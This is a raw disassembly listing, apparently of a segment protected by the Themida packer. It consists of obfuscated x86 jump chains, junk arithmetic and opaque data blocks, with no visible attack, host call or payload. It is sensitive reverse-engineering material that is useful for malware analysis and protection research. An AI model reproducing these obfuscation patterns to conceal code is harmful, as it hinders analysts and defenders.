		dd 5DEE015Fh, 4C681h, 0FF560000h, 5E042474h, 81D4E9h, 0E9862C00h
		dd 2018h, 4EC8151h, 89000000h, 0EC832424h, 24148904h, 79326850h
		dd 48B594Dh, 4C48124h, 2D000000h, 594D792Eh, 158C289h
		dd 5A042454h, 83240C8Bh, 0C18104C4h, 4,	4C181h,	0C330000h
		dd 240C3124h, 8B240C33h, 34FF2424h, 24048B24h, 0FFED46E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5EB675:				; CODE XREF: Themida_:005F13E2j
		mov	[esp], edx
		jmp	loc_5F3B95
; ---------------------------------------------------------------------------


loc_5EB67D:				; CODE XREF: Themida_:005F4EBDj
		push	156E719Bh
		pop	esi
		push	ebx
		push	esi
		push	32EF39B9h
		mov	esi, [esp]
		add	esp, 4
		neg	esi
		xor	esi, 0D87E4823h
		mov	ebx, esi
		pop	esi
		xor	esi, ebx
		pop	ebx
		jmp	loc_5EDFBB
; ---------------------------------------------------------------------------
		db 0ACh
		dd 0D828BE04h, 1DD068h,	241C8900h, 0D3F6CCB3h, 322FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5EB6B9:				; CODE XREF: Themida_:005EFFB3j
		xor	eax, edx
		xor	edx, eax
		jmp	loc_5F4FB0
; ---------------------------------------------------------------------------


loc_5EB6C2:				; CODE XREF: Themida_:005EFE81j
		mov	edx, 0FEh
		and	[edi+1Ch], edx
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		push	esi
		jmp	loc_5ECD2F
; ---------------------------------------------------------------------------
		dw 0E6C1h
		dd 3CC68103h, 108010Ch,	0BB535EF1h, 4, 875BD901h, 0FF5C240Ch
		dd 0B4E92434h, 1000015h, 0D6015FFEh, 0C89EE81h,	875A5D01h
		dd 1E92434h
		db 92h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5EB70B:				; CODE XREF: Themida_:005F62E7j
		inc	ecx
		jmp	loc_5EF6E5
; ---------------------------------------------------------------------------
		db 58h,	0E9h, 6Eh
		dd 0BB000013h, 0E205144h, 19B44BB8h, 5BD80102h,	0E135D8F7h
		dd 5688F05h, 873D43F1h,	8158C289h, 661976F2h, 0E14E95Dh
		dd 31AD0000h, 44F468D8h, 6E90000h, 88000006h, 79AE9EEh
		dd 0B1510000h, 0CC98018h, 0E980D1F6h, 1AE0E901h, 665C0000h
		dd 68241489h, 5E3Ah, 0B3241C89h, 0E9A4B6D7h, 4A63h, 3D1C2D5Dh
		dd 0BDE95618h, 3300004Bh, 4312404h, 95DAE924h, 0C3280000h
		dd 0E998C380h, 0A23h, 265EF281h, 0D73127D8h, 6850565Ah
		dd 4F8538DAh, 30303558h, 0C6894A87h, 70F68158h,	4E640712h
		dd 58A1E9h, 8BDE0100h, 0C481241Ch, 4, 0E904EE83h, 2C68h
; ---------------------------------------------------------------------------


loc_5EB7D0:				; CODE XREF: Themida_:005F3665j
		xor	esi, 63E801B9h
		shl	esi, 3
		neg	esi
		push	edi
		jmp	loc_5F5CBA
; ---------------------------------------------------------------------------


loc_5EB7E1:				; CODE XREF: Themida_:005EBAE3j
		sub	ebp, 5A061ABCh
		add	ebp, edi
		add	ebp, 5A061ABCh
		pop	edi
		add	ebp, edx
		push	ecx
		mov	ecx, 2B372A53h
		jmp	loc_5EAA2D
; ---------------------------------------------------------------------------


loc_5EB7FD:				; CODE XREF: Themida_:005EF3E6j
		push	esi
		mov	esi, 6EA85EF2h
		neg	esi
		add	esi, 3504415Fh
		sub	esi, 12131751h
		xor	esi, 0B549EAC9h
		jmp	loc_5F136C
; ---------------------------------------------------------------------------
		dd 0DEE9D1F7h, 5100002Ah, 5942B850h, 44B965DDh,	0E965DD59h
		dd 56E1h, 0F680CBB6h, 8BF32804h, 0C4812414h, 4,	52ADC380h
		dd 0E2C0E9B2h, 51DAF604h, 0EA2895B5h, 8BD32859h, 0C4812414h
		dd 4, 0E92EEB80h, 7F03h, 0B7241C89h, 50C7FEF4h,	0C480CAB4h
		dd 80CCFE09h, 8DE9B9C4h, 51FFFFEBh, 911DCCB9h, 7E1C10Ah
		dd 0A071E981h, 0CD01E954h, 0E9CD0159h, 54h, 8002B252h
		dd 6FE9F4F2h
		db 82h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5EB8A3:				; CODE XREF: Themida_:005F21E4j
		dec	ecx
		inc	ecx
		not	ecx
		jmp	loc_5F205E
; ---------------------------------------------------------------------------
		dd 8B241C33h, 4892424h,	0E9FCE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5EB8BA:				; CODE XREF: Themida_:005F126Fj
		push	dword ptr [esp]
		jmp	loc_5EE0F9
; ---------------------------------------------------------------------------
		dw 0CA29h
		dd 847C281h, 0C28134E2h, 4C765E98h, 81C20159h, 0D017E3C2h
		dd 0B6C28124h, 0E95B0211h, 0FFFFE9D2h, 0E904C483h, 8C43h
		dd 458FED81h, 0C8B5F3Ah, 4C48124h, 81000000h, 4C5h, 74FF5500h
		dd 89E90424h, 0F7000035h, 53FD87DFh, 0B4487BBh,	3DADE940h
		dd 0C4810000h, 4, 535DE901h, 4BBh, 5BD90100h, 5C240C87h
		dd 0FFED5FE9h, 0FFC380FFh, 5E12E9h, 40500h, 0C0830000h
		dd 24048704h, 65FEE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5EB94E:				; CODE XREF: Themida_:005F147Cj
		pop	edx
		add	edx, 20946E0Ah
		jmp	loc_5EB0A5
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 240C8924h, 0FFE951E9h, 1C77FFFFh, 1858669Dh,	0E99C2404h
		dd 0FFFFE942h, 0E95DEB89h, 0FFFFED91h, 33241C31h, 0AEE9241Ch
		dd 3100002Eh, 20EEE9F3h, 4B80000h, 1000000h, 343358C6h
		dd 0A8BEE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5EB99E:				; CODE XREF: Themida_:005F652Dj
		push	149759B1h
		pop	ebx
		add	ebx, 30DA3D62h
		sub	ebx, 515AE5DBh
		mov	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 134A648Fh
		jmp	loc_5F5F8D
; ---------------------------------------------------------------------------
		db 0Dh
		dd 5B30000Fh, 77C9535h,	58C3091Eh, 4EC81h, 4890000h, 782DB824h
		dd 0E8C174E1h, 74BA5207h, 0E9073263h, 9C95h, 0E9FB0166h
		dd 710Bh, 8904EC83h, 30E9243Ch
		db 36h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5EB9FF:				; CODE XREF: Themida_:005EFBD6j
		xchg	eax, ecx
		xchg	eax, ecx
		push	eax
		not	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	5611h
		jmp	loc_5F320D
; ---------------------------------------------------------------------------
		dd 4EC81h, 34890000h, 3E39BE24h, 0BF57716Dh, 24AA4FB1h
		dd 1049CF81h, 81477764h, 0A6E0EEC7h, 3080E996h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5EBA3E:				; CODE XREF: Themida_:005F5D6Dj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5EDBD5
; ---------------------------------------------------------------------------
		db 21h
		dd 24048BC2h, 859E9h, 0BEE95E00h, 89000062h, 2B68240Ch
		dd 0FF50CF26h, 0C8B2434h, 4C48324h, 9180E9h, 24248900h
		dd 4240483h, 4C2815Ah, 0E9000000h, 951h
; ---------------------------------------------------------------------------


loc_5EBA8C:				; CODE XREF: Themida_:005F40B6j
		xor	eax, edx
		push	1D57h
		mov	[esp], ebp
		push	ebx
		jmp	loc_5EF044
; ---------------------------------------------------------------------------


loc_5EBA9C:				; CODE XREF: Themida_:005F1248j
		push	eax
		mov	eax, 1E297E39h
		mov	edx, eax
		pop	eax
		or	ecx, edx
		pop	edx
		jmp	loc_5EC927
; ---------------------------------------------------------------------------


loc_5EBAAD:				; CODE XREF: Themida_:005F0AC8j
		mov	ecx, eax
		pop	eax
		add	ecx, 0F2ADA24Bh
		sub	edi, ecx
		jmp	loc_5F0F5B
; ---------------------------------------------------------------------------


loc_5EBABD:				; CODE XREF: Themida_:005F109Fj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	esi
		jmp	loc_5F2FA0
; ---------------------------------------------------------------------------


loc_5EBAD6:				; CODE XREF: Themida_:005EA568j
		add	edx, 742D05D7h
		push	edi
		push	198749EAh
		pop	edi
		jmp	loc_5EB7E1
; ---------------------------------------------------------------------------
		dd 59DAEE80h, 148BF028h, 2C1AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5EBAF6:				; CODE XREF: Themida_:005EFFBEj
		pop	ebp
		jmp	loc_5EA2B6
; ---------------------------------------------------------------------------
		dd 8E35B951h, 0CD319E3Ch, 0E9240C8Bh, 4E54h, 1731F181h
		dd 0CB29406Ch, 6A2CE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5EBB1A:				; CODE XREF: Themida_:005F5F8Fj
		pop	esi
		jmp	loc_5F00E4
; ---------------------------------------------------------------------------
		dd 4C2815Ah, 83000000h,	148704C2h, 24248B24h, 5C240487h
		dd 36DF68h, 24048900h, 0E9555854h, 24A6h, 0C0B60F5Ch, 838734FFh
		dd 0C8904ECh, 0EC835324h, 243C8904h, 595F3068h,	243C8B54h
		dd 4704C483h, 387EBB53h, 0EBC10952h, 7AEB8108h,	0E927065Fh
		dd 0FFFFE7E1h, 0CCB8505Bh, 29FF0363h, 24048BC3h, 4C481h
		dd 0DA010000h, 2B9515Bh, 29000000h, 6B37E9CAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5EBB9A:				; CODE XREF: Themida_:005F4984j
		and	esi, ebx
		pop	ebx
		push	ecx
		mov	ecx, 3321265Fh
		xor	esi, ecx
		pop	ecx
		jmp	loc_5EAE1F
; ---------------------------------------------------------------------------


loc_5EBBAB:				; CODE XREF: Themida_:005EFB38j
		push	eax
		push	39F1h
		jmp	loc_5F05F1
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 4C581h, 36E90000h, 87000078h, 87D3F7D9h, 65EEE9D9h
		dd 0CE880000h, 9839E9h,	4C38100h, 81000000h, 4C3h, 241C3300h
		dd 0FFED96E9h, 0E78957FFh, 34C3E9h
		db 0
; ---------------------------------------------------------------------------


loc_5EBBF1:				; CODE XREF: Themida_:005EBE13j
		mov	edx, 147D2206h
		mov	esi, edx
		pop	edx
		add	esi, 4860110h
		jmp	loc_5F3025
; ---------------------------------------------------------------------------
		dd 0DBEB80h, 0DBC380D3h, 66C3285Ah, 70B65250h, 25E9F488h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5EBC1B:				; CODE XREF: Themida_:005EFB06j
		push	dword ptr [esp]
		jmp	loc_5F2C46
; ---------------------------------------------------------------------------
		db 5Ah
		dd 5ACBE56h, 0EE813C1Fh, 3A5F4D46h, 24B7E9h, 0E9555600h
		dd 7822h
; ---------------------------------------------------------------------------


loc_5EBC3C:				; CODE XREF: Themida_:005EC544j
		mov	ecx, [esp]
		jmp	loc_5F5D6A
; ---------------------------------------------------------------------------
		dd 0D71A2DBEh, 25F6815Ch, 0E9102429h, 1E4Fh, 3F9FE95Ch
		dd 0B8500000h, 44F85A74h, 7973BB53h, 0EBC17A96h, 54E7E903h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5EBC6E:				; CODE XREF: Themida_:005F4AEEj
		sub	edi, 59CB4749h
		add	edi, ecx
		jmp	loc_5F61C3
; ---------------------------------------------------------------------------
		db 89h
		dd 0EDBA2414h, 89330853h, 89565AD1h, 0A1FAE9E6h, 29BD0000h
		dd 4575A15Dh, 40B668h, 24048900h, 164EB3B8h, 1E95369h
		dd 0FF000084h, 815E2434h, 4C4h,	0E9C33100h, 4766h
; ---------------------------------------------------------------------------


loc_5EBCB8:				; CODE XREF: Themida_:005EECE5j
		add	edx, 3894EA3Fh
		add	ebp, edx
		jmp	loc_5F2A83
; ---------------------------------------------------------------------------


loc_5EBCC5:				; CODE XREF: Themida_:005F20A4j
		pop	esp


loc_5EBCC6:				; CODE XREF: Themida_:005F191Dj
		push	71DEh
		mov	[esp], ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 12EF64DEh
		jmp	loc_5F3EDC
; ---------------------------------------------------------------------------
		db 81h
		dd 0CA4AE9E3h, 84C3814Bh, 1FC7DBDh, 512DE9DAh, 355E0000h
		dd 40800915h, 158C629h,	2C875EF5h, 0D3665C24h, 0E99C242Ch
		dd 0FFFFE59Eh
; ---------------------------------------------------------------------------


loc_5EBD18:				; CODE XREF: Themida_:005EEE57j
		push	edi
		mov	edi, 2D582442h
		jmp	loc_5EFA79
; ---------------------------------------------------------------------------
		db 5
		dd 54FD6483h, 0EC06C205h, 2DF0010Fh, 0FEC06C2h,	0FD64832Dh
		dd 9CBD5554h, 577BCC04h, 57FA6851h, 34E9370Fh, 5B000011h
		dd 86E4E9h, 241C8900h, 9A04CDBBh, 0E3C14338h, 0D9F38105h
		dd 2D42E12Bh, 72E07C60h, 6A5DE9h, 7FB95100h, 0E906BE72h
		dd 8881h, 302CE95Ch, 665C0000h,	0E568E9F7h, 89000075h
		dd 0E9542414h, 83ECh, 4EC81h, 9EE90000h, 5100000Fh, 4B9h
		dd 59CF2900h, 5C243C87h, 39B6E9h, 85ED8100h, 5154092Bh
		dd 7839D8B9h, 0F181497Dh, 2FB84E26h, 8959CD31h,	0EE815DEEh
		dd 3EF05287h, 8107EEC1h, 355EB8CEh, 4EEC135h, 0CDEE9h
		db 0
; ---------------------------------------------------------------------------


loc_5EBDDD:				; CODE XREF: Themida_:005F5269j
		mov	ecx, 60A60E16h
		add	eax, ecx
		pop	ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	ebx, eax
		push	ebp
		mov	ebp, 125C5D56h
		sub	edx, 7E7A58D3h
		sub	edx, 3B850404h
		add	edx, ebp
		add	edx, 3B850404h
		add	edx, 7E7A58D3h
		pop	ebp
		push	esi
		push	edx
		jmp	loc_5EBBF1
; ---------------------------------------------------------------------------
		dd 68h,	2434FF00h, 159EE9h, 2C48300h, 8B667A2Ch, 8953241Ch
		dd 314EE9E3h, 48B0000h,	4C48324h, 0FFF03FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5EBE41:				; CODE XREF: Themida_:005F554Ej
		add	dword ptr [esp+4], 4D3F77E9h
		sub	[esp+4], ecx
		sub	dword ptr [esp+4], 4D3F77E9h
		pop	ecx
		pop	eax
		push	edx
		mov	edx, 2927303Dh
		push	ebp
		mov	ebp, 66B50392h
		add	eax, ebp
		jmp	loc_5F24CC
; ---------------------------------------------------------------------------


loc_5EBE6A:				; CODE XREF: Themida_:005F00ECj
		sub	edx, 59282B5Bh
		add	edx, 134A648Fh
		pop	ecx
		jmp	loc_5EBEE2
; ---------------------------------------------------------------------------
		dd 32D8B951h, 0CF014E6Ah, 5FE78159h, 81393225h,	0C73B96C7h
		dd 2E7C15Dh, 0F296EF81h, 0FA89171Ch, 5AD7895Fh,	59BAB951h
		dd 0CE012C8Ah, 0C5EE9h,	5D82900h, 12BC2D3Ah, 5BB168h, 2911E900h
		dd 0C8310000h, 23E4E959h, 58350000h, 0E96B38FCh, 0FFFFEDEAh
		dd 5B241C29h, 0B39C381h, 0D9312449h, 584FE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5EBEE2:				; CODE XREF: Themida_:005EBE77j
		and	eax, edx
		push	dword ptr [esp]
		jmp	loc_5ED3D1
; ---------------------------------------------------------------------------
		dd 0FFF00059h, 79E92434h
		db 52h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5EBEF7:				; CODE XREF: Themida_:005F246Ej
		add	ecx, 6B9A1653h
		pop	ebp
		push	ebx
		mov	ebx, 4
		sub	ecx, 26D34832h
		add	ecx, ebx
		add	ecx, 26D34832h
		pop	ebx
		xchg	ecx, [esp]
		jmp	loc_5F1EDC
; ---------------------------------------------------------------------------
		db 0B6h
		dd 0FFF03075h, 74E92434h, 80000037h, 0E33020F4h, 96E95358h
		dd 2900005Fh, 895B5EF2h, 24148BD5h, 4C481h, 0E9210000h
		dd 83242C8Bh, 0C3E904C4h, 5A00004Ah, 2474FF55h,	6DE95D04h
		dd 5700000Bh, 0C781E789h, 4, 4678E9h, 4C0FE00h,	0E9C6082Ah
		dd 7558h, 0FF24248Bh, 0E99C240Ch, 0FFFFE336h, 31241C33h
		dd 1C33241Ch, 0C895C24h, 7DCBE924h, 0D7BF0000h,	813C9232h
		dd 28C5CDEFh, 0E9F80922h, 0A78h, 5A2434FFh, 0E6F68h, 242C8900h
		dd 9AE9E589h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5EBFB7:				; CODE XREF: Themida_:005F6113j
		mov	ebp, 1
		jmp	loc_5F3E12
; ---------------------------------------------------------------------------


loc_5EBFC1:				; CODE XREF: Themida_:005EE44Dj
		or	eax, eax
		jz	loc_5F4DFE
		push	dword ptr [edi+28h]
		push	ecx
		push	ebx
		push	ecx
		mov	ecx, 5DE20FD8h
		shl	ecx, 4
		neg	ecx
		jmp	loc_5F0049
; ---------------------------------------------------------------------------
		dw 5158h
		dd 0B65201B5h, 4A78E989h, 9B80000h, 4046970Ah, 1A33000Dh
		dd 59F7E92Eh, 52AC0000h, 0C68090B6h, 7EEE8024h,	5110F680h
		dd 527EE9h, 87CD8700h, 87D7F7F9h, 245DE9F9h, 0C4830000h
		dd 0BB535504h, 665924E2h, 5924E4BDh, 0E9DD2966h, 82FDh
		dd 78CAED81h, 0CD8157CCh, 79575D8Ch, 4E7E581h, 0A1E96D1Dh
		dd 5B000096h, 0FFEA32E9h, 2434FFFFh, 1A5FE9h, 3C77FF00h
		dd 56242C81h, 0FF207817h, 0C7E92434h, 3100003Fh, 0ED815AD5h
		dd 1DEC4FD5h, 0E95DE801h, 38E0h, 0CA4D5EB8h, 5E8C15Fh
		dd 0E8C1D8F7h, 1DE95707h
		db 91h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5EC08B:				; CODE XREF: Themida_:005EDCBFj
		and	ebx, 70F16A80h
		shr	ebx, 7
		shr	ebx, 3
		sub	ebx, 8F439925h
		mov	ebp, ebx
		pop	ebx
		push	ebp
		mov	ebp, 14BB4F83h
		add	ebp, 0FFFFFFFFh
		inc	ebp
		and	ebp, 5928429Bh
		jmp	loc_5EE9E4
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aPh		db '$Ph"|',0
		dw 8900h
		dd 4832424h, 48B0424h, 4C48124h, 68000000h, 476Dh, 0E9241C89h
		dd 30EEh, 5826C381h, 0CB814401h, 58477E10h, 0FE92F381h
		dd 0FBE95CE7h, 8100004Eh, 0A00B5FE3h, 0E963E957h, 0F766FFFFh
		dd 0E99C241Ch, 29E2h, 4C681h, 0C6830000h, 24348704h, 4C5815Ch
		dd 57000000h, 2BFh, 5FFD0100h, 31242C33h, 2C33242Ch, 42E924h
		dd 2B80000h, 1000000h, 343358C6h, 24343124h, 8B243433h
		dd 81E92424h, 88000096h, 58C288D8h, 0F8DE9h, 4C28100h
		dd 50000000h, 4B8h, 9BBE5600h, 0E9327C48h, 17EBh, 0E95AD400h
		dd 3931h, 242CD25Ch, 0E138E99Ch, 5D54FFFFh, 622ABE56h
		dd 0F681428Fh, 428F622Eh, 8D0CE9h, 4CF38100h, 890BF852h
		dd 0EB015BDDh, 0B568515Dh, 8900000Ch, 84682434h, 5E04784Ch
		dd 0C681D6F7h, 4784C89h, 76E9F189h, 5200005Fh, 88D0B551h
		dd 46EBE9EAh, 685E0000h, 5FB2h,	0E9240489h, 4AB8h, 0E924048Bh
		dd 2412h, 31241C33h, 0B8E9241Ch, 0AD000020h, 0BEE95155h
		dd 0FE0000A1h, 0DEF180C9h, 59CE00h, 0FBE95AF5h
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5EC1FF:				; CODE XREF: Themida_:005ED15Aj
		xchg	eax, [esp]
		jmp	loc_5F2CDC
; ---------------------------------------------------------------------------
		db 0F7h
		dd 11C781D7h, 0E9394D77h, 2277h, 8324348Bh, 4FE904C4h
		dd 0F7000070h, 9FE947D7h
		db 47h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5EC227:				; CODE XREF: Themida_:005ECDCCj
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		shr	ecx, 2
		jmp	loc_5EA61C
; ---------------------------------------------------------------------------
		dd 0E8A5EB81h, 0EBC1B7A9h, 0C5E95306h, 100000Ah, 4675E9D6h
		dd 8B660000h, 89562404h, 7A2568E6h, 1C890000h, 4BB24h
		dd 0DE010000h, 2BB535Bh, 0E9000000h, 77F8h, 42Dh, 71EEE900h
		dd 3C330000h, 24248B24h, 4B30F66h, 2BE99C24h, 8BFFFFE0h
		dd 50532424h, 88D78853h, 150BE9FCh, 215D0000h, 2434FFF0h
		dd 4C4815Eh, 0C1000000h, 0C8310AE8h, 5E585650h,	10BEE956h
		dd 0C4830000h, 4EC8304h, 53240489h, 5655DEBBh, 7D5E96Fh
		dd 8B660000h, 0D682404h, 8900005Ch, 0E2892414h,	86BA5250h
		dd 0E90FA44Ch, 28Eh, 2AF4B951h,	0F8BA76F1h, 0E976F12Ah
		dd 6E53h
; ---------------------------------------------------------------------------


loc_5EC2F4:				; CODE XREF: Themida_:005F0A0Dj
		mov	cl, 2Bh
		and	cl, 0B0h
		push	ebx
		mov	bl, 24h
		shl	bl, 5
		and	bl, 20h
		push	edx
		jmp	loc_5EB5D1
; ---------------------------------------------------------------------------


loc_5EC308:				; CODE XREF: Themida_:005F09C1j
		add	edx, 55473207h
		push	51DAh
		mov	[esp], eax
		jmp	loc_5ED11E
; ---------------------------------------------------------------------------
		db 0FFh
a4Xrs4@		db '4$XR4@',0
		dd 0DF8CE900h, 0C601FFFFh, 0FFF3E0E9h, 3AC781FFh, 17E462Dh
		dd 3AEF81DFh, 567E462Dh, 0B06C33BEh, 0CF68114h,	14E0B4Ah
		dd 875B5EF7h, 248B243Ch, 48B6624h, 7F685524h, 89000018h
		dd 4EE92424h, 64FFFFE8h, 47E9028Fh, 0FFFFFFDFh,	0F75D2404h
		dd 81DDF7D5h, 86AC7CC5h, 0FFEF0185h, 0E8E92434h, 50000022h
		dd 4B8h, 96C38100h, 1254F41h, 85DAE9C3h, 66640000h, 6602B60Fh
		dd 66777D68h, 0E9240489h, 0FFFFDF0Ah, 85C58166h, 0E90966E8h
		dd 25E3E9h, 24248B00h, 652E9h, 24343300h, 801E9h, 81E38900h
		dd 4C3h, 6279E900h, 0F8280000h,	1B19E9h, 4C28100h, 0E9000000h
		dd 3553h, 0E95BF930h, 349Bh, 24048F54h,	4BA52h,	30E90000h
		db 67h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5EC3FF:				; CODE XREF: Themida_:005EAC51j
		pop	eax


loc_5EC400:				; CODE XREF: Themida_:005ECBFEj
					; Themida_:005F2A8Aj
		push	ebx
		jmp	loc_5F2A63
; ---------------------------------------------------------------------------
		dw 0FD88h
aIusht		db 'h',0
		dw 0B500h
aCpiIcxss	db 'PX:',0
		align 4
		dd 83242C8Bh, 835204C4h, 0C8904ECh, 81E18924h, 4C1h, 4E98100h
		dd 0E9000000h, 75BDh, 0F304A32Ch, 5BE98404h, 81000005h
		dd 753127F6h, 954CE993h, 0BF570000h, 1D9E58B8h,	0FFFA1FE9h
		dd 4B8FFh, 0C2010000h, 4EA8158h, 87000000h, 248B2414h
		dd 24348924h, 0B850E689h, 7DD05361h, 0F3752C05h, 8B54E925h
		dd 34870000h, 3C875C24h, 24248B24h, 582434FFh, 4EC81h
		dd 2C890000h, 2C8B5424h, 4C48124h, 0E9000000h, 0FFFFE56Bh
		dd 5C241C33h, 0E92434FFh, 6A03h
; ---------------------------------------------------------------------------


loc_5EC4B8:				; CODE XREF: Themida_:005EC52Dj
		add	edx, 1E8E3654h
		add	edx, 6940116Bh
		or	ebx, edx
		jmp	loc_5F5539
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FF042474h, 34FF2434h, 0C4835824h, 0E3895304h, 0FFFEA6E9h
		dd 28E951FFh, 89FFFFFFh, 0C66856E0h, 0E9000059h, 1EBCh
		dd 0F873E9ADh, 0EC83FFFFh, 24148904h, 42474FFh,	24048F5Ah
		dd 8124248Bh, 4ECh, 8E0DE900h, 0D6F70000h, 631CF681h, 0E957073Ch
		dd 65F8h
; ---------------------------------------------------------------------------


loc_5EC524:				; CODE XREF: Themida_:005EAECEj
		not	edx
		dec	edx
		xor	edx, 1F054CA0h
		jmp	loc_5EC4B8
; ---------------------------------------------------------------------------


loc_5EC532:				; CODE XREF: Themida_:005F036Aj
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	esi
		mov	esi, 4
		add	[esp+4], esi
		pop	esi
		jmp	loc_5EBC3C
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 1Ch
aSzo		db '$O',0
		align 2
		dw 0D2F7h
		dd 7459EA81h, 0D2F71288h, 0CF54F281h, 0D0016676h, 8C17E9h
		dd 89535F00h, 24BDE9E3h, 0D0890000h, 8340485Ah,	254001C0h
		dd 6CE3CECh, 7BF37C05h,	58C201F9h, 4950E9h, 5BD82900h
		dd 8953F029h, 4C381E3h,	83000000h, 0ACE904EBh, 66000024h
		dd 81240C8Bh, 4ECh, 242C8900h, 0C581E589h, 4, 4ED81h, 0B8E90000h
		dd 8100005Dh, 4C3h, 241C8700h, 3C95E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5EC5D2:				; CODE XREF: Themida_:005EB24Fj
		push	61F2h
		jmp	loc_5F52A3
; ---------------------------------------------------------------------------
		dd 0F705EEC1h, 0F68146D6h, 0E0C68E3Bh, 42AFBB53h, 0DE314F3Eh
		dd 0FFEE815Bh, 81FFFFFFh, 7225DEEh, 0E9F58952h,	0C19h
		dd 0F0007BB6h, 24148B66h, 7595E9h, 5EF70900h, 662BC781h
		dd 0FB09DD73h, 81243C8Bh, 4C4h,	44BF5700h, 500F9973h, 662E27B8h
		dd 2A39E93Bh, 0BE560000h, 10686914h, 0F7E6D14Eh, 7AEE81D6h
		dd 2967E611h, 95DAE9F3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5EC64E:				; CODE XREF: Themida_:005F501Fj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	edi
		jmp	loc_5ECA5F
; ---------------------------------------------------------------------------
		dw 80B9h
		dd 41249B05h, 9E0BE941h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5EC672:				; CODE XREF: Themida_:005ECC07j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5F584C
; ---------------------------------------------------------------------------
		db 66h
		dd 5066C329h, 0A5CB866h, 8AC38166h, 0C301665Dh,	8AEB8166h
		dd 0E958665Dh, 2EA2h
; ---------------------------------------------------------------------------


loc_5EC698:				; CODE XREF: Themida_:005EA2FFj
		mov	esi, 25782406h
		neg	esi
		sub	esi, 0DA87DBF6h
		add	ebp, esi
		pop	esi
		push	ecx
		mov	ecx, 4
		jmp	loc_5F49FD
; ---------------------------------------------------------------------------
		db 29h
		dd 407305E8h, 34FF5DDBh, 242C8B24h, 4C481h, 7AE90000h
		dd 56000024h, 3DE9E689h, 3300007Dh, 665C2414h, 9C240429h
		dd 0FFDBD5E9h, 4C483FFh, 8702C183h, 248B240Ch, 0AB0F6624h
		dd 0E99C2404h, 0FFFFDBBEh, 6624248Bh, 2404BB0Fh, 0DBB0E99Ch
		dd 0A768FFFFh, 89000001h, 0A3E92414h, 68FFFFDBh, 7162h
		dd 89243C89h, 4BE56E7h,	1000000h, 24348BF7h, 4C481h, 51500000h
		dd 0D22D05B9h, 81D9F703h, 3A515E9h, 59C889C5h, 44C0E953h
		dd 555B0000h, 0E904EC83h, 1BB9h
; ---------------------------------------------------------------------------


loc_5EC750:				; CODE XREF: Themida_:005F45EBj
		pop	esp
		xor	bl, al
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
aAs		db 'a',27h,0
		dw 8000h
aD0sx		db 'd0X',0
aYhp		db 'Yh[',0
		dd 240C8900h, 4EC81h, 1AE90000h, 8B000090h, 7CE92404h
		dd 29FFFFE7h, 0EE815BDEh, 65B0DEDh, 5157DE01h, 27122568h
		dd 0C9815941h, 1BFC3CD6h, 0EB47C181h, 0CF89B1C2h, 4021E959h
		dd 815F0000h, 4C4h, 0ED0B900h, 0D9297DF9h, 429CE9h
		db 0
; ---------------------------------------------------------------------------


loc_5EC7BD:				; CODE XREF: Themida_:005EE9E7j
		sub	ebp, 31BE2E54h
		add	ebp, 2151152Fh
		jmp	loc_5F0C46
; ---------------------------------------------------------------------------


loc_5EC7CE:				; CODE XREF: Themida_:005EFFD6j
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4


loc_5EC7DA:				; CODE XREF: Themida_:005F27F6j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5F4E33
; ---------------------------------------------------------------------------


loc_5EC7E5:				; CODE XREF: Themida_:005F0FB3j
		add	ebx, edi
		push	ebp
		push	edx
		mov	edx, 5BBD35CCh
		jmp	loc_5EE3A0
; ---------------------------------------------------------------------------
		db 50h
		dd 4A243481h, 0E9185467h, 0FFFFDABCh, 991F55BBh, 0E9EBD128h
		dd 22Dh
; ---------------------------------------------------------------------------


loc_5EC80C:				; CODE XREF: Themida_:005F5087j
		sub	ebp, 8337771h
		xor	ebp, 5D110ED6h
		sub	ebp, 230D8043h
